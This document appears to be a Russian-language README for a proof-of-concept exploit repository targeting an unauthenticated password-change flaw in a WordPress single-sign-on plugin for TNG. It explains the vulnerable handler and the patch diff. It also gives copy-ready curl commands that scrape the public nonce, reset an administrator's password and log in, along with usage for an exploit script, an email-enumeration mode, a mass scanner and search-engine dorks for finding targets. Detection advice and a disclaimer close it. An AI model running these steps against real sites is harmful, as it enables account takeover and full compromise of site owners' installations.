
PoC и чекер для CVE-2026-15964 - изменение пароля без аутентификации в плагине WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8)
Неаутентифицированное повышение привилегий через непроверенную смену пароля в плагине WordPress Single Sign On For TNG.
| Критичность | Критическая (9.8) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-620 (Непроверенная смена пароля) |
| Затронуто | версии плагина с 1.0.0 по 2.0.0 |
| Исправлено в | 2.1.0 (выпущена 2026-07-27) |
| Опубликовано | 2026-08-01 |
| Требуется аутентификация | нет (wp_ajax_nopriv_ssoprocess_ajax) |
| Воздействие | смена пароля любой учётной записи WordPress, включая администраторов, — полный захват сайта |
| Плагин | https://wordpress.org/plugins/single-sign-on-for-tng/ |
Любой неаутентифицированный посетитель может сменить пароль любой учётной записи на сайте, где установлен плагин версии 2.0.0 или ниже. Для этого нужны два HTTP-запроса:
SSOPWDREQUIREMENT.admin-ajax.php с параметрами operation=setnewpassword, email жертвы
и новым паролем.Остальное делает функция reset_password() из ядра WordPress. Никакого токена, никакой
ссылки подтверждения по email, никакой проверки прав. После этого входите как администратор.
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}
В single-sign-on-for-tng.php (v2.0.0):
add_action('wp_ajax_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 69
wp_ajax_nopriv_* означает, что обработчик доступен вообще без сессии.
load_scripts() подключена к хуку wp_enqueue_scripts, поэтому на каждой
странице фронтенда плагин выводит в HTML вот это:
wp_localize_script('general_script','SSOPWDREQUIREMENT',
array('passwordspec'=>PASSWORDSPEC,
'url'=>admin_url('admin-ajax.php'),
'nonce'=>wp_create_nonce("ssoajaxnonce"))); // line 96
Что рендерится так:
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>
А обработчик проверяет его вот так:
public function ssoprocess_ajax() {
global $wpdb;
check_ajax_referer('ssoajaxnonce', 'nonce'); // line 104
...
Загвоздка: WordPress вычисляет nonce с помощью wp_create_nonce($action), используя
uid и токен сессии. Для вышедших из системы посетителей это 0 и пустая
строка, а значит каждый анонимный посетитель получает один и тот же nonce.
Он пересоздаётся только раз в 12 часов (тик nonce). Поэтому nonce, который плагин
выводит любому посетителю, действителен и для атакующего — красть здесь нечего,
он опубликован прямо на странице.
switch ($op) {
case 'setnewpassword':
if (!isset($post['email']) || !isset($post['password'])) { ... }
$email = wp_unslash($post['email']);
$user = get_user_by('email', $email);
if ($user !== false) {
reset_password($user, $post['password']); // line 120
...
wp_send_json_success(array('success'=>true));
}
else
wp_send_json_error(array('success'=>false));
break;
reset_password() — это функция ядра WordPress. Она устанавливает новый хеш,
завершает все остальные сессии жертвы и вызывает действия password_reset /
after_password_reset. Здесь она вызывается без каких-либо доказательств того,
что вызывающий является владельцем учётной записи.
Ещё два момента, о которых стоит знать:
MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC плагина применяются только в
validate_form() для форм Forminator, но никогда здесь. Принимается любой пароль.{"success":true} против {"success":false}
показывает, зарегистрирован ли email. Режим --enum-only чекера использует это.operation=set_tzoffset без аутентификации
вызывает update_option('localtzoffset', $post['timezoneoffset']).
Напрямую для RCE не эксплуатируется, но это неаутентифицированная запись опции
— упомянуть в отчёте стоит.Сравнение 2.0.0 и 2.1.0 делает исправление очевидным (и подтверждает баг):
case 'setnewpassword':
+ $timeout = intval($post['timeout']);
+ if (time() > $timeout) {
+ // clears custom_recovery_token / _expiration / _nonce user meta
+ wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+ return;
+ }
$email = wp_unslash($post['email']);
$user = get_user_by('email',$email);
if ($user !== false) {
reset_password($user,$post['password']);
а также в newpasswordform():
+ if (empty($_GET['uid']))
+ return ... "An unexpected error occurred." ...
+ $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+ // The nonce is checked here
+ if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+ return ... "This recovery link is no longer valid." ...
Итак, в 2.1.0 процесс выглядит так: настоящий запрос на восстановление сохраняет
в user meta персональные custom_recovery_token и custom_recovery_nonce, ссылка
восстановления содержит ID пользователя, форма проверяет оба значения, а
AJAX-обработчик отказывается выполнять операцию после истечения окна
восстановления (timeout). Атакующий, который не может предъявить действующую
запись восстановления, больше не сможет запустить setnewpassword.
Шаг 1 — извлекаем nonce
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"
Шаг 2 — меняем пароль
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-H "X-Requested-With: XMLHttpRequest" \
-d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
Ожидаемый ответ на уязвимой установке: {"success":true}
Шаг 3 — входим в систему
curl -sk -X POST https://target/wp-login.php \
-d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"
CVE-2026-15964.pyЭксплойт для одного сайта. Включены неразрушающие режимы.
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'
# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only
# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12
# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only
# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check
CVE-2026-15964-checker.pyПакетный сканер для ваших собственных списков сайтов. Неразрушающий по своей конструкции — он никогда не меняет пароли.
Как он классифицирует каждый сайт:
SSOPWDREQUIREMENT или пути ассетов
/wp-content/plugins/single-sign-on-for-tng/ на главной странице.Stable tag: из readme.txt. <= 2.0.0 — уязвима,
>= 2.1.0 — исправлена. Это авторитетный источник согласно CVE.--probe, только когда версию прочитать не удаётся) —
отправляет operation=setnewpassword с несуществующим email. Установка 2.0.0
отвечает {"success":false} без сообщения об ошибке; установка 2.1.0 отвечает
сообщением «The time to submit the new password expired». Настоящий email
никогда не передаётся — его передача действительно привела бы к сбросу пароля.# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv
# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com
Пример вывода:
URL VERDICT VER NONCE DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com VULNERABLE 2.0.0 yes readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com PATCHED 2.1.0 yes readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com PLUGIN_NOT_FOUND - -
Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1
Вердикты: VULNERABLE / PATCHED / PLUGIN_NOT_FOUND / NOT_WORDPRESS /
UNKNOWN / ERROR. UNKNOWN обычно означает WAF, агрессивный кэш CDN или
сайт, который блокирует readme, — такие проверяйте вручную.
tests/mock_server.py эмулирует шесть сценариев (уязвимая по версии,
исправленная по версии, уязвимая по зонду, исправленная по зонду, WordPress
без плагина, не-WordPress). Именно так логика чекера была проверена до того,
как его применили к реальным целям:
# terminal 1
python3 tests/mock_server.py 8081 vuln_readme
# terminal 2
python3 CVE-2026-15964-checker.py -u http://127.0.0.1:8081 --probe
# -> VULNERABLE
pip install -r requirements.txt установит единственную зависимость (requests).
Честный контекст, потому что он влияет на то, как вы этим воспользуетесь.
inurl:"single-sign-on-for-tng", "SSOPWDREQUIREMENT" в
поисковиках, индексирующих полный исходный код страниц (PublicWWW, Censys, FOFA),
а также само сообщество TNG (tngsitebuilding.com, генеалогические форумы).UNKNOWN у чекера будет сравнительно большой на реальных генеалогических
сайтах — многие работают за агрессивным кэшированием или блокируют readme.txt.
Не воспринимайте это как «не уязвим»; проверяйте вручную.admin-ajax.php, где action=ssoprocess_ajax
приходит не из аутентифицированной сессии; оповещать о setnewpassword из анонимных источников.wp_users.user_pass и действия password_reset /
after_password_reset; обращайте внимание на входы администраторов сразу после смены пароля.ssoajaxnonce общеизвестным — им он и был всегда.Этот репозиторий предназначен только для авторизованного тестирования безопасности и образовательных целей. Вы несёте ответственность за свои действия. Не запускайте эти инструменты против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения. Несанкционированный доступ к компьютерным системам является преступлением в большинстве юрисдикций.